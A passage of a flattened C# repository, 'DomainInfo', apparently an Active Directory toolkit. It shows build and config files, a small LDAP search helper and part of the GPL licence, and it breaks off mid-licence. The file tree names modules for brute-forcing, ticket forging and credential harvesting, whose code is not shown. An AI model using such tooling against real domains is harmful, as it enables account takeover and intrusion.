├── App.config ├── DomainInfo.csproj ├── DomainInfo.csproj.user ├── DomainInfo.ico ├── DomainInfo.sln ├── FodyWeavers.xml ├── FodyWeavers.xsd ├── LDAPCoon.cs ├── LICENSE ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── README.md ├── lib ├── Bruteforcer.cs ├── ForgeTicket.cs ├── Harvest.cs ├── Renew.cs ├── Reset.cs └── json │ └── ObjToJson.cs ├── module └── DomainInfo │ └── ObjectInfo.cs ├── packages.config └── packages.zip /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /DomainInfo.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9} 9 | Exe 10 | DomainInfo 11 | DomainInfo v0.01 12 | v4.8 13 | 512 14 | true 15 | true 16 | 17 | false 18 | 19 | 20 | publish\ 21 | true 22 | Disk 23 | false 24 | Foreground 25 | 7 26 | Days 27 | false 28 | false 29 | true 30 | 0 31 | 0.0.1.%2a 32 | false 33 | true 34 | 35 | 36 | AnyCPU 37 | true 38 | full 39 | false 40 | bin\Debug\ 41 | DEBUG;TRACE 42 | prompt 43 | 4 44 | false 45 | true 46 | 47 | 48 | AnyCPU 49 | pdbonly 50 | false 51 | bin\Release\ 52 | TRACE 53 | prompt 54 | 4 55 | false 56 | true 57 | 58 | 59 | DomainInfo.ico 60 | 61 | 62 | 63 | packages\CommandLineParser.2.9.1\lib\net45\CommandLine.dll 64 | 65 | 66 | packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll 67 | 68 | 69 | packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | packages\System.Security.Principal.Windows.5.0.0\lib\net461\System.Security.Principal.Windows.dll 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | False 101 | Microsoft .NET Framework 4.6 %28x86 和 x64%29 102 | true 103 | 104 | 105 | False 106 | .NET Framework 3.5 SP1 107 | false 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /DomainInfo.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | zh-CN 11 | false 12 | 13 | -------------------------------------------------------------------------------- /DomainInfo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/la00gke/DomainAuto-one/757b27d2a6532060156e5defd4460d3ef4249305/DomainInfo.ico -------------------------------------------------------------------------------- /DomainInfo.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.1.32228.430 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DomainInfo", "DomainInfo.csproj", "{D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {D88C8DF0-5BF4-4C4F-92DF-E7A48E5AD1B9}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {454121EC-5EFC-417D-BF5F-218E9861D5A5} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 23 | 24 | 25 | 26 | 27 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 28 | 29 | 30 | 31 | 32 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 38 | 39 | 40 | 41 | 42 | The order of preloaded assemblies, delimited with line breaks. 43 | 44 | 45 | 46 | 47 | 48 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 49 | 50 | 51 | 52 | 53 | Controls if .pdbs for reference assemblies are also embedded. 54 | 55 | 56 | 57 | 58 | Controls if runtime assemblies are also embedded. 59 | 60 | 61 | 62 | 63 | Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. 64 | 65 | 66 | 67 | 68 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 69 | 70 | 71 | 72 | 73 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 74 | 75 | 76 | 77 | 78 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 79 | 80 | 81 | 82 | 83 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 84 | 85 | 86 | 87 | 88 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 89 | 90 | 91 | 92 | 93 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 94 | 95 | 96 | 97 | 98 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 99 | 100 | 101 | 102 | 103 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. 104 | 105 | 106 | 107 | 108 | A list of unmanaged 32 bit assembly names to include, delimited with |. 109 | 110 | 111 | 112 | 113 | A list of unmanaged 64 bit assembly names to include, delimited with |. 114 | 115 | 116 | 117 | 118 | The order of preloaded assemblies, delimited with |. 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 127 | 128 | 129 | 130 | 131 | A comma-separated list of error codes that can be safely ignored in assembly verification. 132 | 133 | 134 | 135 | 136 | 'false' to turn off automatic generation of the XML Schema file. 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /LDAPCoon.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.DirectoryServices; 3 | 4 | namespace DomainInfo 5 | { 6 | internal class LDAPCoon 7 | { 8 | public static int Port; 9 | public static string DomainName; 10 | 11 | public static DirectorySearcher Searcher() 12 | { 13 | DomainName = Environment.GetEnvironmentVariable("USERDNSDOMAIN"); 14 | Port = 389; 15 | DirectoryEntry entry = new DirectoryEntry($"LDAP://{DomainName}:{Port}", null, null, AuthenticationTypes.Secure); 16 | DirectorySearcher Searcher = new DirectorySearcher(entry); 17 | return Searcher; 18 | } 19 | 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS 